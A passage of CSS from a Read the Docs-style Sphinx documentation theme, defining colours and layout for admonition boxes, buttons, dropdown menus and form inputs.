#f29f97\n}\n\n.wy-alert.wy-alert-warning,\n.rst-content .wy-alert-warning.note,\n.rst-content .attention,\n.rst-content .caution,\n.rst-content .wy-alert-warning.danger,\n.rst-content .wy-alert-warning.error,\n.rst-content .wy-alert-warning.hint,\n.rst-content .wy-alert-warning.important,\n.rst-content .wy-alert-warning.tip,\n.rst-content .warning,\n.rst-content .wy-alert-warning.seealso,\n.rst-content .admonition-todo,\n.rst-content .wy-alert-warning.admonition {\n    background: #ffedcc\n}\n\n.wy-alert.wy-alert-warning .wy-alert-title,\n.rst-content .wy-alert-warning.note .wy-alert-title,\n.rst-content .attention .wy-alert-title,\n.rst-content .caution .wy-alert-title,\n.rst-content .wy-alert-warning.danger .wy-alert-title,\n.rst-content .wy-alert-warning.error .wy-alert-title,\n.rst-content .wy-alert-warning.hint .wy-alert-title,\n.rst-content .wy-alert-warning.important .wy-alert-title,\n.rst-content .wy-alert-warning.tip .wy-alert-title,\n.rst-content .warning .wy-alert-title,\n.rst-content .wy-alert-warning.seealso .wy-alert-title,\n.rst-content .admonition-todo .wy-alert-title,\n.rst-content .wy-alert-warning.admonition .wy-alert-title,\n.wy-alert.wy-alert-warning .rst-content .admonition-title,\n.rst-content .wy-alert.wy-alert-warning .admonition-title,\n.rst-content .wy-alert-warning.note .admonition-title,\n.rst-content .attention .admonition-title,\n.rst-content .caution .admonition-title,\n.rst-content .wy-alert-warning.danger .admonition-title,\n.rst-content .wy-alert-warning.error .admonition-title,\n.rst-content .wy-alert-warning.hint .admonition-title,\n.rst-content .wy-alert-warning.important .admonition-title,\n.rst-content .wy-alert-warning.tip .admonition-title,\n.rst-content .warning .admonition-title,\n.rst-content .wy-alert-warning.seealso .admonition-title,\n.rst-content .admonition-todo .admonition-title,\n.rst-content .wy-alert-warning.admonition .admonition-title {\n    background: #f0b37e\n}\n\n.wy-alert.wy-alert-info,\n.rst-content .note,\n.rst-content .wy-alert-info.attention,\n.rst-content .wy-alert-info.caution,\n.rst-content .wy-alert-info.danger,\n.rst-content .wy-alert-info.error,\n.rst-content .wy-alert-info.hint,\n.rst-content .wy-alert-info.important,\n.rst-content .wy-alert-info.tip,\n.rst-content .wy-alert-info.warning,\n.rst-content .seealso,\n.rst-content .wy-alert-info.admonition-todo,\n.rst-content .wy-alert-info.admonition {\n    background: #e7f2fa\n}\n\n.wy-alert.wy-alert-info .wy-alert-title,\n.rst-content .note .wy-alert-title,\n.rst-content .wy-alert-info.attention .wy-alert-title,\n.rst-content .wy-alert-info.caution .wy-alert-title,\n.rst-content .wy-alert-info.danger .wy-alert-title,\n.rst-content .wy-alert-info.error .wy-alert-title,\n.rst-content .wy-alert-info.hint .wy-alert-title,\n.rst-content .wy-alert-info.important .wy-alert-title,\n.rst-content .wy-alert-info.tip .wy-alert-title,\n.rst-content .wy-alert-info.warning .wy-alert-title,\n.rst-content .seealso .wy-alert-title,\n.rst-content .wy-alert-info.admonition-todo .wy-alert-title,\n.rst-content .wy-alert-info.admonition .wy-alert-title,\n.wy-alert.wy-alert-info .rst-content .admonition-title,\n.rst-content .wy-alert.wy-alert-info .admonition-title,\n.rst-content .note .admonition-title,\n.rst-content .wy-alert-info.attention .admonition-title,\n.rst-content .wy-alert-info.caution .admonition-title,\n.rst-content .wy-alert-info.danger .admonition-title,\n.rst-content .wy-alert-info.error .admonition-title,\n.rst-content .wy-alert-info.hint .admonition-title,\n.rst-content .wy-alert-info.important .admonition-title,\n.rst-content .wy-alert-info.tip .admonition-title,\n.rst-content .wy-alert-info.warning .admonition-title,\n.rst-content .seealso .admonition-title,\n.rst-content .wy-alert-info.admonition-todo .admonition-title,\n.rst-content .wy-alert-info.admonition .admonition-title {\n    background: #6ab0de\n}\n\n.wy-alert.wy-alert-success,\n.rst-content .wy-alert-success.note,\n.rst-content .wy-alert-success.attention,\n.rst-content .wy-alert-success.caution,\n.rst-content .wy-alert-success.danger,\n.rst-content .wy-alert-success.error,\n.rst-content .hint,\n.rst-content .important,\n.rst-content .tip,\n.rst-content .wy-alert-success.warning,\n.rst-content .wy-alert-success.seealso,\n.rst-content .wy-alert-success.admonition-todo,\n.rst-content .wy-alert-success.admonition {\n    background: #dbfaf4\n}\n\n.wy-alert.wy-alert-success .wy-alert-title,\n.rst-content .wy-alert-success.note .wy-alert-title,\n.rst-content .wy-alert-success.attention .wy-alert-title,\n.rst-content .wy-alert-success.caution .wy-alert-title,\n.rst-content .wy-alert-success.danger .wy-alert-title,\n.rst-content .wy-alert-success.error .wy-alert-title,\n.rst-content .hint .wy-alert-title,\n.rst-content .important .wy-alert-title,\n.rst-content .tip .wy-alert-title,\n.rst-content .wy-alert-success.warning .wy-alert-title,\n.rst-content .wy-alert-success.seealso .wy-alert-title,\n.rst-content .wy-alert-success.admonition-todo .wy-alert-title,\n.rst-content .wy-alert-success.admonition .wy-alert-title,\n.wy-alert.wy-alert-success .rst-content .admonition-title,\n.rst-content .wy-alert.wy-alert-success .admonition-title,\n.rst-content .wy-alert-success.note .admonition-title,\n.rst-content .wy-alert-success.attention .admonition-title,\n.rst-content .wy-alert-success.caution .admonition-title,\n.rst-content .wy-alert-success.danger .admonition-title,\n.rst-content .wy-alert-success.error .admonition-title,\n.rst-content .hint .admonition-title,\n.rst-content .important .admonition-title,\n.rst-content .tip .admonition-title,\n.rst-content .wy-alert-success.warning .admonition-title,\n.rst-content .wy-alert-success.seealso .admonition-title,\n.rst-content .wy-alert-success.admonition-todo .admonition-title,\n.rst-content .wy-alert-success.admonition .admonition-title {\n    background: #1abc9c\n}\n\n.wy-alert.wy-alert-neutral,\n.rst-content .wy-alert-neutral.note,\n.rst-content .wy-alert-neutral.attention,\n.rst-content .wy-alert-neutral.caution,\n.rst-content .wy-alert-neutral.danger,\n.rst-content .wy-alert-neutral.error,\n.rst-content .wy-alert-neutral.hint,\n.rst-content .wy-alert-neutral.important,\n.rst-content .wy-alert-neutral.tip,\n.rst-content .wy-alert-neutral.warning,\n.rst-content .wy-alert-neutral.seealso,\n.rst-content .wy-alert-neutral.admonition-todo,\n.rst-content .wy-alert-neutral.admonition {\n    background: #f3f6f6\n}\n\n.wy-alert.wy-alert-neutral .wy-alert-title,\n.rst-content .wy-alert-neutral.note .wy-alert-title,\n.rst-content .wy-alert-neutral.attention .wy-alert-title,\n.rst-content .wy-alert-neutral.caution .wy-alert-title,\n.rst-content .wy-alert-neutral.danger .wy-alert-title,\n.rst-content .wy-alert-neutral.error .wy-alert-title,\n.rst-content .wy-alert-neutral.hint .wy-alert-title,\n.rst-content .wy-alert-neutral.important .wy-alert-title,\n.rst-content .wy-alert-neutral.tip .wy-alert-title,\n.rst-content .wy-alert-neutral.warning .wy-alert-title,\n.rst-content .wy-alert-neutral.seealso .wy-alert-title,\n.rst-content .wy-alert-neutral.admonition-todo .wy-alert-title,\n.rst-content .wy-alert-neutral.admonition .wy-alert-title,\n.wy-alert.wy-alert-neutral .rst-content .admonition-title,\n.rst-content .wy-alert.wy-alert-neutral .admonition-title,\n.rst-content .wy-alert-neutral.note .admonition-title,\n.rst-content .wy-alert-neutral.attention .admonition-title,\n.rst-content .wy-alert-neutral.caution .admonition-title,\n.rst-content .wy-alert-neutral.danger .admonition-title,\n.rst-content .wy-alert-neutral.error .admonition-title,\n.rst-content .wy-alert-neutral.hint .admonition-title,\n.rst-content .wy-alert-neutral.important .admonition-title,\n.rst-content .wy-alert-neutral.tip .admonition-title,\n.rst-content .wy-alert-neutral.warning .admonition-title,\n.rst-content .wy-alert-neutral.seealso .admonition-title,\n.rst-content .wy-alert-neutral.admonition-todo .admonition-title,\n.rst-content .wy-alert-neutral.admonition .admonition-title {\n    color: #404040;\n    background: #e1e4e5\n}\n\n.wy-alert.wy-alert-neutral a,\n.rst-content .wy-alert-neutral.note a,\n.rst-content .wy-alert-neutral.attention a,\n.rst-content .wy-alert-neutral.caution a,\n.rst-content .wy-alert-neutral.danger a,\n.rst-content .wy-alert-neutral.error a,\n.rst-content .wy-alert-neutral.hint a,\n.rst-content .wy-alert-neutral.important a,\n.rst-content .wy-alert-neutral.tip a,\n.rst-content .wy-alert-neutral.warning a,\n.rst-content .wy-alert-neutral.seealso a,\n.rst-content .wy-alert-neutral.admonition-todo a,\n.rst-content .wy-alert-neutral.admonition a {\n    color: #2980B9\n}\n\n.wy-alert p:last-child,\n.rst-content .note p:last-child,\n.rst-content .attention p:last-child,\n.rst-content .caution p:last-child,\n.rst-content .danger p:last-child,\n.rst-content .error p:last-child,\n.rst-content .hint p:last-child,\n.rst-content .important p:last-child,\n.rst-content .tip p:last-child,\n.rst-content .warning p:last-child,\n.rst-content .seealso p:last-child,\n.rst-content .admonition-todo p:last-child,\n.rst-content .admonition p:last-child {\n    margin-bottom: 0\n}\n\n.wy-tray-container {\n    position: fixed;\n    bottom: 0px;\n    left: 0;\n    z-index: 600\n}\n\n.wy-tray-container li {\n    display: block;\n    width: 300px;\n    background: transparent;\n    color: #fff;\n    text-align: center;\n    box-shadow: 0 5px 5px 0 rgba(0, 0, 0, 0.1);\n    padding: 0 24px;\n    min-width: 20%;\n    opacity: 0;\n    height: 0;\n    line-height: 56px;\n    overflow: hidden;\n    -webkit-transition: all .3s ease-in;\n    -moz-transition: all .3s ease-in;\n    transition: all .3s ease-in\n}\n\n.wy-tray-container li.wy-tray-item-success {\n    background: #052882\n}\n\n.wy-tray-container li.wy-tray-item-info {\n    background: #2980B9\n}\n\n.wy-tray-container li.wy-tray-item-warning {\n    background: #E67E22\n}\n\n.wy-tray-container li.wy-tray-item-danger {\n    background: #E74C3C\n}\n\n.wy-tray-container li.on {\n    opacity: 1;\n    height: 56px\n}\n\n@media screen and (max-width: 768px) {\n    .wy-tray-container {\n        bottom: auto;\n        top: 0;\n        width: 100%\n    }\n\n    .wy-tray-container li {\n        width: 100%\n    }\n}\n\nbutton {\n    font-size: 100%;\n    margin: 0;\n    vertical-align: baseline;\n    *vertical-align: middle;\n    cursor: pointer;\n    line-height: normal;\n    -webkit-appearance: button;\n    *overflow: visible\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n    border: 0;\n    padding: 0\n}\n\nbutton[disabled] {\n    cursor: default\n}\n\n.btn {\n    display: inline-block;\n    border-radius: 2px;\n    line-height: normal;\n    white-space: nowrap;\n    text-align: center;\n    cursor: pointer;\n    font-size: 100%;\n    padding: 6px 12px 8px 12px;\n    color: #fff;\n    border: 1px solid rgba(0, 0, 0, 0.1);\n    background-color: #052882;\n    text-decoration: none;\n    font-weight: normal;\n    font-family: \"Lato\", \"proxima-nova\", \"Helvetica Neue\", Arial, sans-serif;\n    box-shadow: 0px 1px 2px -1px rgba(255, 255, 255, 0.5) inset, 0px -2px 0px 0px rgba(0, 0, 0, 0.1) inset;\n    outline-none: false;\n    vertical-align: middle;\n    *display: inline;\n    zoom: 1;\n    -webkit-user-drag: none;\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n    user-select: none;\n    -webkit-transition: all .1s linear;\n    -moz-transition: all .1s linear;\n    transition: all .1s linear\n}\n\n.btn-hover {\n    background: #409ad5;\n    color: #fff\n}\n\n.btn:hover {\n    background: #409ad5;\n    color: #fff\n}\n\n.btn:focus {\n    background: #409ad5;\n    outline: 0\n}\n\n.btn:active {\n    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.05) inset, 0px 2px 0px 0px rgba(0, 0, 0, 0.1) inset;\n    padding: 8px 12px 6px 12px\n}\n\n.btn:visited {\n    color: #fff\n}\n\n.btn:disabled {\n    background-image: none;\n    filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);\n    filter: alpha(opacity=40);\n    opacity: .4;\n    cursor: not-allowed;\n    box-shadow: none\n}\n\n.btn-disabled {\n    background-image: none;\n    filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);\n    filter: alpha(opacity=40);\n    opacity: .4;\n    cursor: not-allowed;\n    box-shadow: none\n}\n\n.btn-disabled:hover,\n.btn-disabled:focus,\n.btn-disabled:active {\n    background-image: none;\n    filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);\n    filter: alpha(opacity=40);\n    opacity: .4;\n    cursor: not-allowed;\n    box-shadow: none\n}\n\n.btn::-moz-focus-inner {\n    padding: 0;\n    border: 0\n}\n\n.btn-small {\n    font-size: 80%\n}\n\n.btn-info {\n    background-color: #2980B9 !important\n}\n\n.btn-info:hover {\n    background-color: #2e8ece !important\n}\n\n.btn-neutral {\n    background-color: #f3f6f6 !important;\n    color: #404040 !important\n}\n\n.btn-neutral:hover {\n    background-color: #e5ebeb !important;\n    color: #404040\n}\n\n.btn-neutral:visited {\n    color: #404040 !important\n}\n\n.btn-success {\n    background-color: #052882 !important\n}\n\n.btn-success:hover {\n    background-color: #295 !important\n}\n\n.btn-danger {\n    background-color: #E74C3C !important\n}\n\n.btn-danger:hover {\n    background-color: #ea6153 !important\n}\n\n.btn-warning {\n    background-color: #E67E22 !important\n}\n\n.btn-warning:hover {\n    background-color: #e98b39 !important\n}\n\n.btn-invert {\n    background-color: #222\n}\n\n.btn-invert:hover {\n    background-color: #2f2f2f !important\n}\n\n.btn-link {\n    background-color: transparent !important;\n    color: #2980B9;\n    box-shadow: none;\n    border-color: transparent !important\n}\n\n.btn-link:hover {\n    background-color: transparent !important;\n    color: #409ad5 !important;\n    box-shadow: none\n}\n\n.btn-link:active {\n    background-color: transparent !important;\n    color: #409ad5 !important;\n    box-shadow: none\n}\n\n.btn-link:visited {\n    color: #9B59B6\n}\n\n.wy-btn-group .btn,\n.wy-control .btn {\n    vertical-align: middle\n}\n\n.wy-btn-group {\n    margin-bottom: 24px;\n    *zoom: 1\n}\n\n.wy-btn-group:before,\n.wy-btn-group:after {\n    display: table;\n    content: \"\"\n}\n\n.wy-btn-group:after {\n    clear: both\n}\n\n.wy-dropdown {\n    position: relative;\n    display: inline-block\n}\n\n.wy-dropdown-active .wy-dropdown-menu {\n    display: block\n}\n\n.wy-dropdown-menu {\n    position: absolute;\n    left: 0;\n    display: none;\n    float: left;\n    top: 100%;\n    min-width: 100%;\n    background: #fcfcfc;\n    z-index: 100;\n    border: solid 1px #cfd7dd;\n    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.1);\n    padding: 12px\n}\n\n.wy-dropdown-menu>dd>a {\n    display: block;\n    clear: both;\n    color: #404040;\n    white-space: nowrap;\n    font-size: 90%;\n    padding: 0 12px;\n    cursor: pointer\n}\n\n.wy-dropdown-menu>dd>a:hover {\n    background: #2980B9;\n    color: #fff\n}\n\n.wy-dropdown-menu>dd.divider {\n    border-top: solid 1px #cfd7dd;\n    margin: 6px 0\n}\n\n.wy-dropdown-menu>dd.search {\n    padding-bottom: 12px\n}\n\n.wy-dropdown-menu>dd.search input[type=\"search\"] {\n    width: 100%\n}\n\n.wy-dropdown-menu>dd.call-to-action {\n    background: #e3e3e3;\n    text-transform: uppercase;\n    font-weight: 500;\n    font-size: 80%\n}\n\n.wy-dropdown-menu>dd.call-to-action:hover {\n    background: #e3e3e3\n}\n\n.wy-dropdown-menu>dd.call-to-action .btn {\n    color: #fff\n}\n\n.wy-dropdown.wy-dropdown-up .wy-dropdown-menu {\n    bottom: 100%;\n    top: auto;\n    left: auto;\n    right: 0\n}\n\n.wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu {\n    background: #fcfcfc;\n    margin-top: 2px\n}\n\n.wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu a {\n    padding: 6px 12px\n}\n\n.wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu a:hover {\n    background: #2980B9;\n    color: #fff\n}\n\n.wy-dropdown.wy-dropdown-left .wy-dropdown-menu {\n    right: 0;\n    left: auto;\n    text-align: right\n}\n\n.wy-dropdown-arrow:before {\n    content: \" \";\n    border-bottom: 5px solid #f5f5f5;\n    border-left: 5px solid transparent;\n    border-right: 5px solid transparent;\n    position: absolute;\n    display: block;\n    top: -4px;\n    left: 50%;\n    margin-left: -3px\n}\n\n.wy-dropdown-arrow.wy-dropdown-arrow-left:before {\n    left: 11px\n}\n\n.wy-form-stacked select {\n    display: block\n}\n\n.wy-form-aligned input,\n.wy-form-aligned textarea,\n.wy-form-aligned select,\n.wy-form-aligned .wy-help-inline,\n.wy-form-aligned label {\n    display: inline-block;\n    *display: inline;\n    *zoom: 1;\n    vertical-align: middle\n}\n\n.wy-form-aligned .wy-control-group>label {\n    display: inline-block;\n    vertical-align: middle;\n    width: 10em;\n    margin: 6px 12px 0 0;\n    float: left\n}\n\n.wy-form-aligned .wy-control {\n    float: left\n}\n\n.wy-form-aligned .wy-control label {\n    display: block\n}\n\n.wy-form-aligned .wy-control select {\n    margin-top: 6px\n}\n\nfieldset {\n    border: 0;\n    margin: 0;\n    padding: 0\n}\n\nlegend {\n    display: block;\n    width: 100%;\n    border: 0;\n    padding: 0;\n    white-space: normal;\n    margin-bottom: 24px;\n    font-size: 150%;\n    *margin-left: -7px\n}\n\nlabel {\n    display: block;\n    margin: 0 0 .3125em 0;\n    color: #333;\n    font-size: 90%\n}\n\ninput,\nselect,\ntextarea {\n    font-size: 100%;\n    margin: 0;\n    vertical-align: baseline;\n    *vertical-align: middle\n}\n\n.wy-control-group {\n    margin-bottom: 24px;\n    *zoom: 1;\n    max-width: 68em;\n    margin-left: auto;\n    margin-right: auto;\n    *zoom: 1\n}\n\n.wy-control-group:before,\n.wy-control-group:after {\n    display: table;\n    content: \"\"\n}\n\n.wy-control-group:after {\n    clear: both\n}\n\n.wy-control-group:before,\n.wy-control-group:after {\n    display: table;\n    content: \"\"\n}\n\n.wy-control-group:after {\n    clear: both\n}\n\n.wy-control-group.wy-control-group-required>label:after {\n    content: \" *\";\n    color: #E74C3C\n}\n\n.wy-control-group .wy-form-full,\n.wy-control-group .wy-form-halves,\n.wy-control-group .wy-form-thirds {\n    padding-bottom: 12px\n}\n\n.wy-control-group .wy-form-full select,\n.wy-control-group .wy-form-halves select,\n.wy-control-group .wy-form-thirds select {\n    width: 100%\n}\n\n.wy-control-group .wy-form-full input[type=\"text\"],\n.wy-control-group .wy-form-full input[type=\"password\"],\n.wy-control-group .wy-form-full input[type=\"email\"],\n.wy-control-group .wy-form-full input[type=\"url\"],\n.wy-control-group .wy-form-full input[type=\"date\"],\n.wy-control-group .wy-form-full input[type=\"month\"],\n.wy-control-group .wy-form-full input[type=\"time\"],\n.wy-control-group .wy-form-full input[type=\"datetime\"],\n.wy-control-group .wy-form-full input[type=\"datetime-local\"],\n.wy-control-group .wy-form-full input[type=\"week\"],\n.wy-control-group .wy-form-full input[type=\"number\"],\n.wy-control-group .wy-form-full input[type=\"search\"],\n.wy-control-group .wy-form-full input[type=\"tel\"],\n.wy-control-group .wy-form-full input[type=\"color\"],\n.wy-control-group .wy-form-halves input[type=\"text\"],\n.wy-control-group .wy-form-halves input[type=\"password\"],\n.wy-control-group .wy-form-halves input[type=\"email\"],\n.wy-control-group .wy-form-halves input[type=\"url\"],\n.wy-control-group .wy-form-halves input[type=\"date\"],\n.wy-control-group .wy-form-halves input[type=\"month\"],\n.wy-control-group .wy-form-halves input[type=\"time\"],\n.wy-control-group .wy-form-halves input[type=\"datetime\"],\n.wy-control-group .wy-form-halves input[type=\"datetime-local\"],\n.wy-control-group .wy-form-halves input[type=\"week\"],\n.wy-control-group .wy-form-halves input[type=\"number\"],\n.wy-control-group .wy-form-halves input[type=\"search\"],\n.wy-control-group .wy-form-halves input[type=\"tel\"],\n.wy-control-group .wy-form-halves input[type=\"color\"],\n.wy-control-group .wy-form-thirds input[type=\"text\"],\n.wy-control-group .wy-form-thirds input[type=\"password\"],\n.wy-control-group .wy-form-thirds input[type=\"email\"],\n.wy-control-group .wy-form-thirds input[type=\"url\"],\n.wy-control-group .wy-form-thirds input[type=\"date\"],\n.wy-control-group .wy-form-thirds input[type=\"month\"],\n.wy-control-group .wy-form-thirds input[type=\"time\"],\n.wy-control-group .wy-form-thirds input[type=\"datetime\"],\n.wy-control-group .wy-form-thirds input[type=\"datetime-local\"],\n.wy-control-group .wy-form-thirds input[type=\"week\"],\n.wy-control-group .wy-form-thirds input[type=\"number\"],\n.wy-control-group .wy-form-thirds input[type=\"search\"],\n.wy-control-group .wy-form-thirds input[type=\"tel\"],\n.wy-control-group .wy-form-thirds input[type=\"color\"] {\n    width: 100%\n}\n\n.wy-control-group .wy-form-full {\n    float: left;\n    display: block;\n    margin-right: 2.3576515979%;\n    width: 100%;\n    margin-right: 0\n}\n\n.wy-control-group .wy-form-full:last-child {\n    margin-right: 0\n}\n\n.wy-control-group .wy-form-halves {\n    float: left;\n    display: block;\n    margin-right: 2.3576515979%;\n    width: 48.821174201%\n}\n\n.wy-control-group .wy-form-halves:last-child {\n    margin-right: 0\n}\n\n.wy-control-group .wy-form-halves:nth-of-type(2n) {\n    margin-right: 0\n}\n\n.wy-control-group .wy-form-halves:nth-of-type(2n+1) {\n    clear: left\n}\n\n.wy-control-group .wy-form-thirds {\n    float: left;\n    display: block;\n    margin-right: 2.3576515979%;\n    width: 31.7615656014%\n}\n\n.wy-control-group .wy-form-thirds:last-child {\n    margin-right: 0\n}\n\n.wy-control-group .wy-form-thirds:nth-of-type(3n) {\n    margin-right: 0\n}\n\n.wy-control-group .wy-form-thirds:nth-of-type(3n+1) {\n    clear: left\n}\n\n.wy-control-group.wy-control-group-no-input .wy-control {\n    margin: 6px 0 0 0;\n    font-size: 90%\n}\n\n.wy-control-no-input {\n    display: inline-block;\n    margin: 6px 0 0 0;\n    font-size: 90%\n}\n\n.wy-control-group.fluid-input input[type=\"text\"],\n.wy-control-group.fluid-input input[type=\"password\"],\n.wy-control-group.fluid-input input[type=\"email\"],\n.wy-control-group.fluid-input input[type=\"url\"],\n.wy-control-group.fluid-input input[type=\"date\"],\n.wy-control-group.fluid-input input[type=\"month\"],\n.wy-control-group.fluid-input input[type=\"time\"],\n.wy-control-group.fluid-input input[type=\"datetime\"],\n.wy-control-group.fluid-input input[type=\"datetime-local\"],\n.wy-control-group.fluid-input input[type=\"week\"],\n.wy-control-group.fluid-input input[type=\"number\"],\n.wy-control-group.fluid-input input[type=\"search\"],\n.wy-control-group.fluid-input input[type=\"tel\"],\n.wy-control-group.fluid-input input[type=\"color\"] {\n    width: 100%\n}\n\n.wy-form-message-inline {\n    display: inline-block;\n    padding-left: .3em;\n    color: #666;\n    vertical-align: middle;\n    font-size: 90%\n}\n\n.wy-form-message {\n    display: block;\n    color: #999;\n    font-size: 70%;\n    margin-top: .3125em;\n    font-style: italic\n}\n\n.wy-form-message p {\n    font-size: inherit;\n    font-style: italic;\n    margin-bottom: 6px\n}\n\n.wy-form-message p:last-child {\n    margin-bottom: 0\n}\n\ninput {\n    line-height: normal\n}\n\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n    -webkit-appearance: button;\n    cursor: pointer;\n    font-family: \"Lato\", \"proxima-nova\", \"Helvetica Neue\", Arial, sans-serif;\n    *overflow: visible\n}\n\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"] {\n    -webkit-appearance: none;\n    padding: 6px;\n    display: inline-block;\n    border: 1px solid #ccc;\n    font-size: 80%;\n    font-family: \"Lato\", \"proxima-nova\", \"Helvetica Neue\", Arial, sans-serif;\n    box-shadow: inset 0 1px 3px #ddd;\n    border-radius: 0;\n    -webkit-transition: border .3s linear;\n    -moz-transition: border .3s linear;\n    transition: border .3s linear\n}\n\ninput[type=\"datetime-local\"] {\n    padding: .34375em .625em\n}\n\ninput[disabled] {\n    cursor: default\n}\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n    padding: 0;\n    margin-right: .3125em;\n    *height: 13px;\n    *width: 13px\n}\n\ninput[type=\"search\"] {\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box\n}\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n    -webkit-appearance: none\n}\n\ninput[type=\"text\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"email\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"date\"]:focus,\ninput[type=\"month\"]:focus,\ninput[type=\"time\"]:focus,\ninput[type=\"datetime\"]:focus,\ninput[type=\"datetime-local\"]:focus,\ninput[type=\"week\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"color\"]:focus {\n    outline: 0;\n    outline: thin dotted \\9;\n    border-color: #333\n}\n\ninput.no-focus:focus {\n    border-color: #ccc !important\n}\n\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n    outline: thin dotted #333;\n    outline: 1px auto #129FEA\n}\n\ninput[type=\"text\"][disabled],\ninput[type=\"password\"][disabled],\ninput[type=\"email\"][disabled],\ninput[type=\"url\"][disabled],\ninput[type=\"date\"][disabled],\ninput[type=\"month\"][disabled],\ninput[type=\"time\"][disabled],\ninput[type=\"datetime\"][disabled],\ninput[type=\"datetime-local\"][disabled],\ninput[type=\"week\"][disabled],\ninput[type=\"number\"][disabled],\ninput[type=\"search\"][disabled],\ninput[type=\"tel\"][disabled],\ninput[type=\"color\"][disabled] {\n    cursor: not-allowed;\n    background-color: #fafafa\n}\n\ninput:focus:invalid,\ntextarea:focus:invalid,\nselect:focus:invalid {\n    color: #E74C3C;\n    border: 1px solid #E74C3C\n}\n\ninput:focus:invalid:focus,\ntextarea:focus:invalid:focus,\nselect:focus:invalid:focus {\n    border-color: #E74C3C\n}\n\ninput[type=\"file\"]:focus:invalid:focus,\ninput[type=\"radio\"]:focus:invalid:focus,\ninput[type=\"checkbox\"]:focus:invalid:focus {\n    outline-color: #E74C3C\n}\n\ninput.wy-input-large {\n    padding: 12px;\n    font-size: 100%\n}\n\ntextarea {\n    overflow: auto;\n    vertical-align: top;\n    width: 100%;\n    font-family: \"Lato\", \"proxima-nova\", \"Helvetica Neue\", Arial, sans-serif\n}\n\nselect,\ntextarea {\n    padding: .5em .625em;\n    display: inline-block;\n    border: 1px solid #ccc;\n    font-size: 80%;\n    box-shadow: inset 0 1px 3px #ddd;\n    -webkit-transition: border .3s linear;\n    -moz-transition: border .3s linear;\n    transition: border .3s linear\n}\n\nselect {\n    border: 1px solid #ccc;\n    background-color: #fff\n}\n\nselect[multiple] {\n    height: auto\n}\n\nselect:focus,\ntextarea:focus {\n    outline: 0\n}\n\nselect[disabled],\ntextarea[disabled],\ninput[readonly],\nselect[readonly],\ntextarea[readonly] {\n    cursor: not-allowed;\n    background-color: #fafafa\n}\n\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled] {\n    cursor: not-allowed\n}\n\n.wy-checkbox,\n.wy-radio {\n    margin: 6px 0;\n    color: #404040;\n    display: block\n}\n\n.wy-checkbox input,\n.wy-radio input {\n    vertical-align: baseline\n}\n\n.wy-form-message-inline {\n    display: inline-block;\n    *display: inline;\n    *zoom: 1;\n    vertical-align: middle\n}\n\n.wy-input-prefix,\n.wy-input-suffix {\n    white-space: nowrap;\n    padding: 6px\n}\n\n.wy-input-prefix .wy-input-context,\n.wy-input-suffix .wy-input-context {\n    line-height: 27px;\n    padding: 0 8px;\n    display: inline-block;\n    font-size: 80%;\n    background-color: #f3f6f6;\n    border: solid 1px #ccc;\n    color: #999\n}\n\n.wy-input-suffix .wy-input-context {\n    border-left: 0\n}\n\n.wy-input-prefix .wy-input-context {\n    border-right: 0\n}\n\n.wy-switch {\n    position: relative;\n    display: block;\n    height: 24px;\n    margin-top: 12px;\n    cursor: pointer\n}\n\n.wy-switch:before {\n    position: absolute;\n    content: \"\";\n    display: block;\n    left: 0;\n    top: 0;\n    width: 36px;\n    height: 12px;\n    border-radius: 4px;\n    background: #ccc;\n    -webkit-transition: all .2s ease-in-out;\n    -moz-transition: all .2s ease-in-out;\n    transition: all .2s ease-in-out\n}\n\n.wy-switch:after {\n    position: absolute;\n    content: \"\";\n    display: block;\n    width: 18px;\n    height: 18px;\n    border-radius: 4px;\n    background: #999;\n    left: -3px;\n    top: -3px;\n    -webkit-transition: all .2s ease-in-out;\n    -moz-transition: all .2s ease-in-out;\n    transition: all .2s ease-in-out\n}\n\n.wy-switch span {\n    position: absolute;\n    left: 48px;\n    display: block;\n    font-size: 12px;\n    color: #ccc;\n    line-height: 1\n}\n\n.wy-switch.active:before {\n    background: #1e8449\n}\n\n.wy-switch.active:after {\n    left: 24px;\n    background: #052882\n}\n\n.wy-switch.disabled {\n    cursor: not-allowed;\n    opacity: .8\n}\n\n.wy-control-group.wy-control-group-error .wy-form-message,\n.wy-control-group.wy-control-group-error>label {\n    color: #E74C3C\n}\n\n.wy-control-group.wy-control-group-error input[type=\"text\"],\n.wy-control-group.wy-control-group-error input[type=\"password\"],\n.wy-control-group.wy-control-group-error input[type=\"email\"],\n.wy-control-group.wy-control-group-error input[type=\"url\"],\n.wy-control-group.wy-control-group-error input[type=\"date\"],\n.wy-control-group.wy-control-group-error input[type=\"month\"],\n.wy-control-group.wy-control-group-error input[type=\"time\"],\n.wy-control-group.wy-control-group-error input[type=\"datetime\"],\n.wy-control-group.wy-control-group-error input[type=\"datetime-local\"],\n.wy-control-group.wy-control-group-error input[type=\"week\"],\n.wy-control-group.wy-control-group-error 